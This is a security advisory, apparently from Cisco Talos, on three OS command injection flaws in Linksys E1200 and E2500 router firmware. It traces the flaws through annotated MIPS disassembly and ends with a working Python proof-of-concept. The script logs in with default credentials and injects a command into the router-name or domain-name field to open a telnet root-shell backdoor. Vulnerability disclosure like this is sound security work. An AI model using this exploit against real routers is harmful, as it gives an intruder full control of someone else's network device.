CVE-2018-3953, CVE-2018-3954, CVE-2018-3955
Multiple exploitable operating system command injections exist in the Linksys ESeries line of routers. Specially crafted entries to network configuration information can cause execution of arbitrary system commands, resulting in full control of the device. An attacker can send an authenticated HTTP request to trigger this vulnerability.
Linksys E1200 Firmware Version 2.0.09 Linksys E2500 Firmware Version 3.0.04
https://www.linksys.com/us/support-product?pid=01t80000003KRTzAAO
https://www.linksys.com/us/support-product?pid=01t80000003KZuNAAW
7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
Multiple devices in the Linksys ESeries line of routers are susceptible to OS command injection vulnerabilities due to improper filtering of data passed to and retrieved from NVRAM.
Many of the configuration details passed to ESeries routers during configuration must be retained across a device’s power cycle. Since the device has only one writable directory (/tmp) and that directory is cleared on reboot, the device uses NVRAM to store configuration details.
When the apply.cgi page is requested with parameters indicating a change to persistent configuration settings, those parameters are processed by the ‘get_cgi’ function call during which they get placed directly into NVRAM via a ‘set_nvram’ call.
The following example is the apply.cgi disassembly of the path that is taken to write any passed configuration data to NVRAM. Execution starts at address 0x00425C20 where the variables are first loaded, and then enters a loop until all passed variables are processed.
### binary: httpd
.text:0041FBC4 li $gp, 0xE760C
.text:0041FBCC addu $gp, $t9
.text:0041FBD0 addiu $sp, -0x28
.text:0041FBD4 sw $ra, 0x20($sp) # stores return address onto stack (0x00425CAC)
.text:0041FBD8 sw $s1, 0x1C($sp)
.text:0041FBDC sw $s0, 0x18($sp)
.text:0041FBE0 sw $gp, 0x10($sp)
.text:0041FBE4 la $t9, valid_name # valid_name checks to ensure the name is expected
.text:0041FBE8 move $s1, $a1 # $s1 == RAW_MACHINE_NAME_DATA
.text:0041FBEC jalr $t9 # goto: valid_name
.text:0041FBF0 move $s0, $a2
.text:0041FBF4 lw $gp, 0x10($sp)
.text:0041FBF8 bnez $v0, loc_41FC14 # $v0 != 0 for vulnerable params
.text:0041FBFC move $a1, $s1 # $a1 == RAW_MACHINE_NAME_DATA
...
.text:0041FC14 loc_41FC14:
.text:0041FC14 lw $a0, 0($s0) # $a0 == VULN_PARAM
.text:0041FC18 la $t9, nvram_set
.text:0041FC1C lw $ra, 0x20($sp) # gets return address back from stack (0x00425CAC)
.text:0041FC20 lw $s1, 0x1C($sp)
.text:0041FC24 lw $s0, 0x18($sp)
.text:0041FC28 jr $t9 # goto: nvram_set(VULN_PARAM, RAW_MACHINE_NAME_DATA)
.text:0041FC2C addiu $sp, 0x28
...
.text:00425C20 loc_425C20: ## VARIABLE_LOAD
.text:00425C20
.text:00425C20 la $s0, variables # POST data
.text:00425C24 b loc_425C5C # jumps to start of loop
.text:00425C28 addiu $s1, $s0, (gozila_actions - 0x4FB070)
...
.text:00425C54 loc_425C54:
.text:00425C54 beq $s0, $s1, loc_425CB8
.text:00425C58 nop
.text:00425C5C
.text:00425C5C loc_425C5C: ## LOOP_START
.text:00425C5C la $t9, get_cgi
.text:00425C60 lw $a0, 0($s0) # $a0 == VULN_PARAM
.text:00425C64 jalr $t9 # goto: get_cgi
.text:00425C68 nop # $v0 == RAW_MACHINE_NAME_DATA
.text:00425C6C lw $gp, 0x860+var_840($sp)
.text:00425C70 move $v1, $v0 # RAW_MACHINE_NAME_DATA moved to $v1
.text:00425C74 la $t9, nvram_set
.text:00425C78 move $a1, $v0
.text:00425C7C beqz $v0, loc_425C50 # $v0 != 0 for vulnerable params
.text:00425C80 move $a3, $t9
.text:00425C84 lb $v0, 0($v0) # $v0 set to first byte of RAW_MACHINE_NAME_DATA
.text:00425C88 move $a2, $s0
.text:00425C8C beqz $v0, loc_425C2C # $v0 != 0 for vulnerable params
.text:00425C90 move $a0, $s7
.text:00425C94
.text:00425C94 loc_425C94:
.text:00425C94 lw $t9, 8($s0) # loads an address to check the key name
.text:00425C98 nop
.text:00425C9C beqz $t9, loc_425C3C # $t9 != 0 for vulnerable params
.text:00425CA0 nop
.text:00425CA4 jalr $t9 # goto: 0x0041FBC4
.text:00425CA8 move $a1, $v1 # sets arg to RAW_MACHINE_NAME_DATA
.text:00425CAC lw $gp, 0x860+var_840($sp)
.text:00425CB0 b loc_425C54 # goto: LOOP_START
.text:00425CB4 addiu $s0, 0x18
After certain configuration changes are made, including both of the changes associated with these vulnerabilities, a reboot of device services is required. The httpd binary handles this by sending a SIGHUP signal to PID 1, a binary named ‘preinit’. When ‘preinit’ receives this signal it enters a code path where it restarts all necessary system services. This example can be seen in the apply.cgi disassembly below:
### binary: httpd
.text:00425824 loc_425824:
.text:00425824 la $t9, kill
.text:00425828 li $a0, 1 # pid
.text:0042582C jalr $t9 # runs: kill -1 1
.text:00425830 li $a1, 1 # sig
.text:00425834 lw $gp, 0x860+var_840($sp)
.text:00425838 b loc_4256AC
.text:0042583C nop
When the ‘preinit’ binary enters this code path, it exposes functionality where raw data from nvram_get calls is passed into system commands. Examples for each of the three command injection vulnerabilities can be seen below.
CVE-2018-3953 - machine_name - start_lltd
Data entered into the ‘Router Name’ input field through the web portal is submitted to apply.cgi as the value to the ‘machine_name’ POST parameter. The machine_name data goes through the nvram_set process described above. When the ‘preinit’ binary receives the SIGHUP signal it enters a code path that continues until it reaches offset 0x0042B5C4 in the ‘start_lltd’ function. Within the ‘start_lltd’ function, a ‘nvram_get’ call is used to obtain the value of the user-controlled ‘machine_name’ NVRAM entry. This value is then entered directly into a command intended to write the host name to a file and subsequently executed.
### binary: preinit
.text:0042B5C4 loc_42B5C4:
.text:0042B5C4 la $a0, sub_470000
.text:0042B5C8 la $t9, nvram_get
.text:0042B5CC move $t9, $s0
.text:0042B5D0 jalr $t9 # nvram_get("machine_name")
.text:0042B5D4 addiu $a0, (aMachineName - 0x470000) # "machine_name"
.text:0042B5D8 lw $gp, 0x130+var_120($sp)
.text:0042B5DC beqz $v0, loc_42B6C0 # $v0 == RAW_MACHINE_NAME_DATA
.text:0042B5E0 nop
.text:0042B5E4
.text:0042B5E4 loc_42B5E4:
.text:0042B5E4 la $a1, aORemoteServer
.text:0042B5E8 la $t9, sprintf
.text:0042B5EC addiu $s1, $sp, 0x130+var_118
.text:0042B5F0 addiu $a1, (aEchoSProcSysKe - 0x480000) # $a1 == "echo %s > /proc/sys/kernel/hostname"
.text:0042B5F4 move $a2, $v0 # $a2 == RAW_MACHINE_NAME_DATA
.text:0042B5F8 move $a0, $s1 # $a0 == $s1
.text:0042B5FC jalr $t9 ; sprintf # sprintf($s1, "echo %s > /proc/sys/kernel/hostname", RAW_MACHINE_NAME_DATA)
.text:0042B600 move $s3, $t9
.text:0042B604 lw $gp, 0x130+var_120($sp)
.text:0042B608 move $a0, $s1 # $a0 == FINAL_CMD
.text:0042B60C la $t9, system
.text:0042B610 nop
.text:0042B614 jalr $t9 # system("echo RAW_MACHINE_NAME_DATA > /proc/sys/kernel/hostname")
.text:0042B618 move $s2, $t9
CVE-2018-3954 - machine_name - set_host_domain_name
Data entered into the ‘Router Name’ input field through the web portal is submitted to apply.cgi as the value to the ‘machine_name’ POST parameter. The machine_name data goes through the nvram_set process described above. When the ‘preinit’ binary receives the SIGHUP signal it enters a code path that calls a function named ‘set_host_domain_name’ from its libshared.so shared object.
### binary: preinit
.text:0041F040 loc_41F040:
.text:0041F040 la $a0, aORemoteServer
.text:0041F044 la $t9, nvram_set
.text:0041F048 addiu $a0, (aWanRunMtu - 0x480000)
.text:0041F04C move $a1, $v0
.text:0041F050 jalr $t9
.text:0041F054 move $s3, $t9
.text:0041F058 lw $gp, 0xD0+var_B0($sp)
.text:0041F05C nop
.text:0041F060 la $t9, set_host_domain_name # function containing vuln
.text:0041F064 nop
.text:0041F068 jalr $t9 # goto: set_host_domain_name
.text:0041F06C nop
The ‘set_host_domain_name’ function in libshared.so continues to offset 0x0001FA40 where nvram_get is called against the ‘machine_name’ parameter. The result of that operation is subsequently combined with a string via a sprintf call and passed directly into system.
### shared object: libshared.so
.text:0001FA10 set_host_domain_name:
.text:0001FA10
.text:0001FA10 var_118 = -0x118
.text:0001FA10 var_110 = -0x110
.text:0001FA10 var_10 = -0x10
.text:0001FA10 var_C = -0xC
.text:0001FA10 var_8 = -8
.text:0001FA10 var_4 = -4
.text:0001FA10
.text:0001FA10 li $gp, 0xB4800
.text:0001FA18 addu $gp, $t9
.text:0001FA1C addiu $sp, -0x128
.text:0001FA20 sw $ra, 0x128+var_4($sp)
.text:0001FA24 sw $s2, 0x128+var_8($sp)
.text:0001FA28 sw $s1, 0x128+var_C($sp)
.text:0001FA2C sw $s0, 0x128+var_10($sp)
.text:0001FA30 sw $gp, 0x128+var_118($sp)
.text:0001FA34 la $a0, aAluesMayBeInco
.text:0001FA38 la $t9, nvram_get
.text:0001FA3C addiu $a0, (aMachineName - 0x70000) # $a0 == "machine_name"
.text:0001FA40 jalr $t9 # nvram_get("machine_name")
.text:0001FA44 move $s0, $t9
.text:0001FA48 lw $gp, 0x128+var_118($sp)
.text:0001FA4C beqz $v0, loc_1FBF0 # $v0 == RAW_MACHINE_NAME_DATA
.text:0001FA50 nop
.text:0001FA54
.text:0001FA54 loc_1FA54:
.text:0001FA54 la $a1, aAluesMayBeInco
.text:0001FA58 la $t9, sprintf
.text:0001FA5C addiu $s1, $sp, 0x128+var_110
.text:0001FA60 addiu $a1, (aEchoSProcSysKe - 0x70000) # $a1 == "echo \"%s\" > /proc/sys/kernel/hostname"
.text:0001FA64 move $a2, $v0 # $a2 == RAW_MACHINE_NAME_DATA
.text:0001FA68 jalr $t9 # sprintf($s1, "echo \"%s\" > /proc/sys/kernel/hostname", RAW_MACHINE_NAME_DATA)
.text:0001FA6C move $a0, $s1 # $a0 == $s1
.text:0001FA70 lw $gp, 0x128+var_118($sp)
.text:0001FA74 nop
.text:0001FA78 la $t9, system
.text:0001FA7C nop
.text:0001FA80 jalr $t9 # system("echo \"[RAW_MACHINE_NAME_DATA]\" > /proc/sys/kernel/hostname")
.text:0001FA84 move $a0, $s1 # "echo \"[RAW_MACHINE_NAME_DATA]\" > /proc/sys/kernel/hostname"
CVE-2018-3955 - wan_domain - set_host_domain_name
Data entered into the ‘Domain Name’ input field through the web portal is submitted to apply.cgi as the value to the ‘wan_domain’ POST parameter. The wan_domain data goes through the nvram_set process described above. When the ‘preinit’ binary receives the SIGHUP signal it enters a code path that calls a function named ‘set_host_domain_name’ from its libshared.so shared object.
### binary: preinit
.text:0041F040 loc_41F040:
.text:0041F040 la $a0, aORemoteServer
.text:0041F044 la $t9, nvram_set
.text:0041F048 addiu $a0, (aWanRunMtu - 0x480000)
.text:0041F04C move $a1, $v0
.text:0041F050 jalr $t9
.text:0041F054 move $s3, $t9
.text:0041F058 lw $gp, 0xD0+var_B0($sp)
.text:0041F05C nop
.text:0041F060 la $t9, set_host_domain_name # function containing vuln
.text:0041F064 nop
.text:0041F068 jalr $t9 # goto: set_host_domain_name
.text:0041F06C nop
The ‘set_host_domain_name’ function in libshared.so continues until offset 0x0001FBCC where nvram_get is called against the ‘wan_domain’ parameter. The result of that operation is subsequently combined with a string via a snprintf call and passed directly into system.
## shared object: libshared.so
.text:0001FB7C loc_1FB7C:
.text:0001FB7C
.text:0001FB7C la $a2, aAluesMayBeInco
.text:0001FB80 la $t9, snprintf
.text:0001FB84 move $a0, $s1 # $a0 == $s1 == ptr to final cmd buffer
.text:0001FB88 addiu $a2, (aEchoSProcSysKe_0 - 0x70000) # $a2 == "echo \"%s\" > /proc/sys/kernel/domainname"
.text:0001FB8C move $a3, $v0 # $a3 == RAW_MACHINE_NAME_DATA
.text:0001FB90 jalr $t9 ; snprintf # snprintf($s1, 0xFE, "echo \"%s\" > /proc/sys/kernel/domainname", RAW_MACHINE_NAME_DATA)
.text:0001FB94 li $a1, 0xFE # $a1 == snprintf max size
.text:0001FB98 lw $gp, 0x128+var_118($sp)
.text:0001FB9C nop
.text:0001FBA0 la $t9, system
.text:0001FBA4 nop
.text:0001FBA8 jalr $t9 ; system # system("echo \"[RAW_MACHINE_NAME_DATA]\" > /proc/sys/kernel/domainname")
.text:0001FBAC move $a0, $s1
.text:0001FBB0 lw $gp, 0x128+var_118($sp)
.text:0001FBB4 lw $ra, 0x128+var_4($sp)
.text:0001FBB8 lw $s2, 0x128+var_8($sp)
.text:0001FBBC lw $s1, 0x128+var_C($sp)
.text:0001FBC0 lw $s0, 0x128+var_10($sp)
.text:0001FBC4 jr $ra
.text:0001FBC8 addiu $sp, 0x128
.text:0001FBCC loc_1FBCC:
.text:0001FBCC
.text:0001FBCC la $t9, nvram_get
.text:0001FBD0 move $t9, $s0
.text:0001FBD4 jalr $t9 # nvram_get("wan_domain")
.text:0001FBD8 addiu $a0, $s2, (aWanDomain - 0x70000) # $a0 == "wan_domain"
.text:0001FBDC lw $gp, 0x128+var_118($sp)
.text:0001FBE0 bnez $v0, loc_1FB7C # $v0 == RAW_MACHINE_NAME_DATA
.text:0001FBE4 nop
.text:0001FBE8 b loc_1FB20
.text:0001FBEC nop
N/A
Usage: python poc.py [vulnerable_param] [target_ip] [port_to_open]
Vulnerable parameters: - wan_domain - machine_name
Example: python poc.py wan_domain 192.168.1.1 1337
NOTE: This proof of concept will work for both the E1200 and the E2500.
Differences in authentication are handled by a request to /HNAP1:
import requests
import hashlib
import sys
import re
from time import sleep
def printError(additionalComment):
if additionalComment != "":
print "[!] ERROR: %s" % additionalComment
print "Usage: python poc.py [vulnerable_param] [target_ip] [port_to_open]"
print ""
print "Vulnerable Parameters"
print " - wan_domain"
print " - machine_name"
exit(0)
def hashPassword(password):
password_size = len(password)
if password_size < 10:
password_size = "0%s" % (password_size)
base_key = "%s%s" % (password, password_size)
base_key_size = len(base_key)
max_password_size = 64
key = ""
for i in xrange(max_password_size):
key = "%s%s" % (key, base_key[i%base_key_size])
hashed_password = hashlib.md5(key).hexdigest()
return hashed_password
def sendCmd(param, base_uri, session, cmd):
# format command appropriately
cmd = "`%s `" % (cmd)
# set up header details
uri = "%s/apply.cgi%s" % (base_uri, session)
referer = "%s/index.asp?%s" % (base_uri, session)
headers = {"Referer":referer}
# set the desired parameter
machine_name_cmd = ""
wan_domain_cmd = ""
if param == "machine_name":
machine_name_cmd = cmd
elif param == "wan_domain":
wan_domain_cmd = cmd
else:
printError("An invalid parameter was entered")
# set up POST data
data = "submit_button=index&change_action=&submit_type=&gui_action=Apply"
data += "&now_proto=dhcp&daylight_time=1&switch_mode=0&hnap_devicename="
data += "&need_reboot=0&user_language=&wait_time=0&dhcp_start=100"
data += "&dhcp_start_conflict=0&lan_ipaddr=4&ppp_demand_pppoe=9"
data += "&ppp_demand_pptp=9&ppp_demand_l2tp=9&ppp_demand_hb=9"
data += "&wan_ipv6_proto=dhcp&detect_lang=en&wan_proto=dhcp&wan_hostname="
data += "&wan_domain=%s&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168" % (wan_domain_cmd)
data += "&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0"
data += "&machine_name=%s&lan_proto=dhcp&dhcp_check=&dhcp_start_tmp=100" % (machine_name_cmd)
data += "&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0"
data += "&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0"
data += "&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0"
data += "&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0"
data += "&time_zone=-08+1+1&_daylight_time=1"
# make request
res = requests.post(uri, headers=headers, data=data)
sleep(30)
def main():
# check input
if len(sys.argv) != 4:
printError("")
param = sys.argv[1]
rhost = sys.argv[2]
rport = sys.argv[3]
if param != "wan_domain" and param != "machine_name":
printError("An invalid parameter was entered")
user = "admin"
raw_password = "admin"
http_port = 80
base_uri = "http://%s:%s" % (rhost, http_port)
try:
# get the device version to see if we have to hash the password before transmission
# only has to happen for the E1200 at this time
password = ""
uri = "%s/HNAP1" % (base_uri)
res = requests.get(uri)
device = re.search("<ModelDescription>.*?</ModelDescription>", res.text).group(0)
device = device.split("<ModelDescription>")[1]
device = device.split("</ModelDescription>")[0]
if device == "E1200":
# hash the password for transit
password = hashPassword(raw_password)
else:
password = raw_password
# get the session token
print "[*] Getting a session token using credentials %s:%s" % (user, raw_password)
uri = "%s/login.cgi" % (base_uri)
data = "submit_button=login&change_action=&action=Apply&wait_time=19"
data += "&submit_type=&http_username=%s&http_passwd=%s" % (user, password)
res = requests.post(uri, data=data)
# extract the session id with the required initial character (? for FRNv4 and ; for FRNv0)
session = re.search('.session_id=[\d\w]{32}', res.text).group(0)
print "[*] Got session: %s" % (session[12:])
# start telnet backdoor
print "[*] Opening Backdoor"
cmd = "telnetd -l/bin/sh -p%s" % (rport)
sendCmd(param, base_uri, session, cmd)
print "[*] done"
except Exception as e:
printError(e)
if __name__ == '__main__':
main()
2018-07-09 - Vendor Disclosure
2018-08-14 - Vendor released patch for e1200
2018-10-04 - Vendor released patch for e2500
2018-10-10 - Public disclosure
Discovered by Jared Rittle of Cisco Talos